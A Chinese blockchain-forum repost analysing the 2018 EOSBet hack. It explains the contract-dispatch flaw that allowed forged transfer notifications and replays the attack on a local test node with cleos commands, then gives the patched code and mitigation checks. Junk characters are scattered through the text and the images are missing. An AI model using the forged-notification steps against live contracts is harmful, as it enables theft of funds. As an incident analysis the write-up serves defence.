Hi 游客

更多精彩,请登录!

比特池塘 区块链技术 正文
本文所有过程均在本地测试节点完成8 U7 q6 Y# |9 r. x! a2 Y
文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis
# i+ `6 t' W6 n0x00 背景8 e. B2 D6 j5 J; H6 W: }) ~( K
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。2 x3 p: I+ X5 X

& n: ]! V0 b  o8 {9 S- o5 [0 u5 |; f0x01 技术分析! K; Y/ _, @  H1 n7 p8 D
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
$ {' L4 U% m, O6 z// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers# y: F8 N$ P! Y% r
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
- ^4 Y: ]2 u: h6 _  `& {) ]extern "C" { \
$ E- t) S7 b8 B        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \' J8 G) `8 l/ h) _
                auto self = receiver; \' g) P& m% D+ s, k6 G. }6 I0 {; P
                if( action == N(onerror)) { \$ I6 v1 i4 j& ^# ?0 T! m5 U( c
                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
& c  o( \7 L+ `' G5 i                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
6 S  l# {2 i  Y6 t" T                } \5 T# R0 A: T! f+ p
                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \, F  K. K4 E* d; l* n% k, k1 l
                        TYPE thiscontract( self ); \
7 ~0 Y" l' B6 T5 [                        switch( action ) { \
+ G' Q2 Q3 a% R$ s% b7 K5 ~1 V                                EOSIO_API( TYPE, MEMBERS ) \
" ^- G, W+ J# V: E7 d1 r                        } \) [. J, u: V2 V
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \% s& g0 A) d1 z4 l8 b
                } \
/ n4 `/ E8 ~2 D3 ^- A        } \
+ Z& ?1 `$ p- l4 G3 K! V3 K}
1 I% R, w  n/ n通过官方给出的EOSIO_ABI,问题主要出在以下代码
$ m& Z" o" V& Q4 W- P/ _if( code == self || code == N(eosio.token) || action == N(onerror) ) { \! f1 u$ Q' Z7 v: z4 R. v
                        TYPE thiscontract( self ); \
( O+ }+ C  [6 }+ l; _% a0 m4 Q                        switch( action ) { \8 C' h2 ]+ c2 t- l6 y9 Y5 Q1 e. }
                                EOSIO_API( TYPE, MEMBERS ) \/ U; ~; t+ n; E: c
                        } \: U, X) ?4 J8 p  e; S. ]
                }8 Z7 v8 K7 o* ?! ?) o" f; R" @
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。+ `4 k* L0 M; [2 v- i
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。' t; W$ A/ s7 E/ X! `
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。" N, b8 y2 R, ]4 E
0x02 攻击复盘
' p$ y( y/ w) m! x6 E& t创建eosio.token账户
% k6 g9 ?- K* ]2 a# a! [cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
' v' R/ D: B9 E6 L部署eosio.token合约并初始化# d4 P% Q1 Y, m% s$ Y* O! t+ q
# 部署合约
, X9 B0 Y7 a% ~# t; Icleos set contract eosio.token /home/user/contracts/eosio.token -p eosio; h6 ^0 F5 Q  M/ |
# 初始化合约; w& \1 O3 p( j! Q  w
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
) ^: E& ^' a5 i$ t创建游戏账户、开奖账户和攻击者账户
# e4 K( m; a. x#创建游戏账户和开奖账户
6 ~4 T8 Q* ?7 C. F! Gcleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk( ]1 P. J3 C$ _9 `
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
5 G- B6 R" [- _% W9 @7 A% w" U. m#创建攻击者账户
+ U; j4 ]; P% i( ^" [: p- U8 Z  kcleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
% {( Q8 |5 c* w: I2 {设置账户随机权限和开奖权限
, \; C3 N% I! g#设置权限
2 ^8 m  j1 h7 O2 j( s8 O# Tcleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner" o8 M; i; ]: I" D* O4 n5 S( x5 D
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner8 |& E! t9 |; ]
#设置开奖权限
% H* }3 _" ?" p: t, a! Tcleos set action permission eosbetcasino eosbetdice11 resolvebet random6 k/ w) }9 }/ M( S  V; l7 A
向相关账户冲入代币
* b' [+ N: F9 ^5 v) X#往相关账户充值
  X0 c/ O# a, \. l+ l0 P4 m; G3 Vcleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active: o: y2 j. T& R. Q. h3 O
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active) S4 `: m, q6 a- p, a- P' K
![4.png]()" ^9 X- E/ k" g7 T, B
部署游戏合约并初始化
. N# N5 e& F8 e+ S# e#部署游戏合约9 l$ ~/ {5 r7 K0 k# y+ P: _6 e4 [* ~
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice4 I1 X9 u) L5 D0 B7 u. m, C
#初始化游戏合约: g9 Z7 B* O0 z5 A1 M
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
% W3 }' }! M3 `2 e& `模拟黑客攻击(伪造转账通知)$ u1 ]# M* _( G! m2 R
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
% S* _% d  l7 x8 \3 [9 M2 ?查询游戏订单
/ f  Q7 D+ C8 J8 N& K4 J- Lcleos get table eosbetdice11 eosbetdice11 activebets
$ C, P) r7 o; s! x
! j; P$ E- c8 B7 k4 {3 p0 X可见,游戏订单已经生成,查询attacker和eosbetdice11账户4 P' r: x. i- X( g  D; g5 P
2 a/ h, e/ B& B
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。( D+ D3 m6 D( M2 h! }1 S
最后对该订单进行开奖。
- x8 j1 F: x: P  N' z2 z0 I" d1 W& Qcleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
# q$ F* w( Y0 }/ @. K  p/ M+ d. f) O4 D
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。) H( l# B# r/ W9 q( I; [4 G
0x03 后记" h9 N2 L* X9 \: r4 `
EOSBet随后将修复方案公开
! ?$ c5 ~+ v6 S+ w) W- F* w// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
' S* S& k% y0 \  f#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
; p* j7 v+ w; N- L& J" sextern "C" { \( Q' \7 \4 s6 X" K
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
( ^, j5 G+ t- ?; J6 P3 h: d                auto self = receiver; \
" |2 R# f: F0 E9 y" G( o                if( code == self || code == N(eosio.token)) { \
3 h) z# b) L1 ~- j7 K" Y                        if( action == N(transfer)){ \* G  Q- Z9 ~3 c' w4 ~$ j
                                // 必须是eosio.token来调用合约自身的transfer函数% [/ y$ E4 R3 f' T1 Z
                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \) |/ O0 a$ v" z/ N
                        } \/ i! V, Z6 d" R  g5 L: V* [
                        TYPE thiscontract( self ); \
2 W/ }* d3 o! \* v3 h                        switch( action ) { \/ u, N8 |$ C. B/ W5 g
                                EOSIO_API( TYPE, MEMBERS ) \
' q4 c- s! x' v                        } \* Z/ N2 D! Z2 ?) k, e
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \1 w& |- W1 z/ l+ x( m) ]- w
                } \
3 A- y0 u. ^, ?; x4 V        } \9 m$ @7 ^; a  m( A
}9 j' F. P' J5 H* \4 J
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
5 v- l, `  t8 e9 o/ h# i" }- t0x04 修复方案0 d( ]. ]# ^; U8 K  W  S( U
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:
7 ^# l3 t3 w# J2 W* `& A2 j, P8 [  ]
通知是否来自eosio.token,即只处理eosio.token发送的通知
. ]: |1 ~8 o, h3 G, Oeosio_assert(code == N(eosio.token), "Must transfer from eosio.token");
/ E* `1 o  ]0 d. ~7 G
0 R3 G- N% G7 `9 `! p* N. p: g' W
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知
. G" r2 G, `0 jeosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com 比特池塘系信息发布平台,比特池塘仅提供信息存储空间服务。
声明:该文观点仅代表作者本人,本文不代表比特池塘立场,且不构成建议,请谨慎对待。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

成为第一个吐槽的人

蓝天天使2017 初中生
  • 粉丝

    0

  • 关注

    0

  • 主题

    10